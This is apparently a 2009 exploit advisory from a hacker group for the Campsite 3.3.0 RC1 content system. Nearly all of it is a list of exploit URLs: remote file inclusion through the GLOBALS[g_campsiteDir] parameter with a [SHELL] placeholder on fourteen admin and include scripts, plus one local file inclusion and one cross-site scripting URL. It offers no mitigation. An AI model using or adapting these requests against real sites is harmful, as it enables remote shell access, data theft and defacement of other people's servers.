Campsite version 3.3.0 RC1 suffers from multiple remote file inclusion vulnerabilities.
950cf53f0bbf4e1e24f2c05e6fc413768fd482bd0131059d4cc642c2dae762ab
┌┌─────────────────────────────────────────────────────────────────────────────────┐
││ C r a C k E r ┌┘
┌┘ T H E C R A C K O F E T E R N A L M I G H T ││
└─────────────────────────────────────────────────────────────────────────────────┘┘
┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐
┌┌─────────────────────────────────────────────────────────────────────────────────┐
┌┘ [ Remote File Include ] [ Local File Include ] [ XSS ] ┌┘
└─────────────────────────────────────────────────────────────────────────────────┘┘
: Author : CraCkEr : : :
│ Script : Campsite 3.3.0 RC1 │ │ Register Globals : │
│ Download : sourceforge.net │ │ │
│ Method : GET │ │ [█] ON [ ] OFF │
│ Critical : High [░░▒▒▓▓██] │ │ │
│ Impact : system information │ │ │
│ ───────────────────────────────────────┘ └────────────────────────────────────── │
│ DALnet #crackers ┌┘
└─────────────────────────────────────────────────────────────────────────────────┘┘
: :
│ Release Notes: │
│ ═════════════ │
│ Typically used for remotely exploitable vulnerabilities that can lead to │
│ system compromise. │
│ │
┌┌─────────────────────────────────────────────────────────────────────────────────┐
┌┘ Exploit URL's ┌┘
└─────────────────────────────────────────────────────────────────────────────────┘┘
[RFI]
http://localhost/path/implementation/site/admin-files/ad_popup.php?GLOBALS[g_campsiteDir]=[SHELL]
http://localhost/path/implementation/site/admin-files/camp_html.php?GLOBALS[g_campsiteDir]=[SHELL]
http://localhost/path/implementation/site/admin-files/init_content.php?GLOBALS[g_campsiteDir]=[SHELL]
http://localhost/path/implementation/site/admin-files/logout.php?GLOBALS[g_campsiteDir]=[SHELL]
http://localhost/path/implementation/site/admin-files/menu.php?GLOBALS[g_campsiteDir]=[SHELL]
http://localhost/path/implementation/site/admin-files/set-author.php?GLOBALS[g_campsiteDir]=[SHELL]
http://localhost/path/implementation/site/conf/liveuser_configuration.php?GLOBALS[g_campsiteDir]=[SHELL]
http://localhost/path/implementation/site/include/phorum_load.php?GLOBALS[g_campsiteDir]=[SHELL]
http://localhost/path/implementation/site/admin-files/article_import/CommandProcessor.php?GLOBALS[g_campsiteDir]=[SHELL]
http://localhost/path/implementation/site/admin-files/article_import/index.php?GLOBALS[g_campsiteDir]=[SHELL]
http://localhost/path/implementation/site/admin-files/articles/add.php?GLOBALS[g_campsiteDir]=[SHELL]
http://localhost/path/implementation/site/admin-files/articles/add_move.php?GLOBALS[g_campsiteDir]=[SHELL]
http://localhost/path/implementation/site/admin-files/articles/autopublish.php?GLOBALS[g_campsiteDir]=[SHELL]
http://localhost/path/implementation/site/admin-files/articles/autopublish_del.php?GLOBALS[g_campsiteDir]=[SHELL]
[LFI]
http://localhost/path/implementation/site/admin-files/ad.php?GLOBALS[g_campsiteDir]=[LFI]
[XSS]
http://localhost/path/implementation/site/admin-files/templates/list_dir.php?listbasedir=[XSS]
└──────────────────────────────────────────────────────────────────────────────────┘
Greets:
The_PitBull, Raz0r, iNs, Sad, His0k4, Hussin X, Mr. SQL, rd0 .
┌┌─────────────────────────────────────────────────────────────────────────────────┐
┌┘ © CraCkEr 2009 ┌┘
└─────────────────────────────────────────────────────────────────────────────────┘┘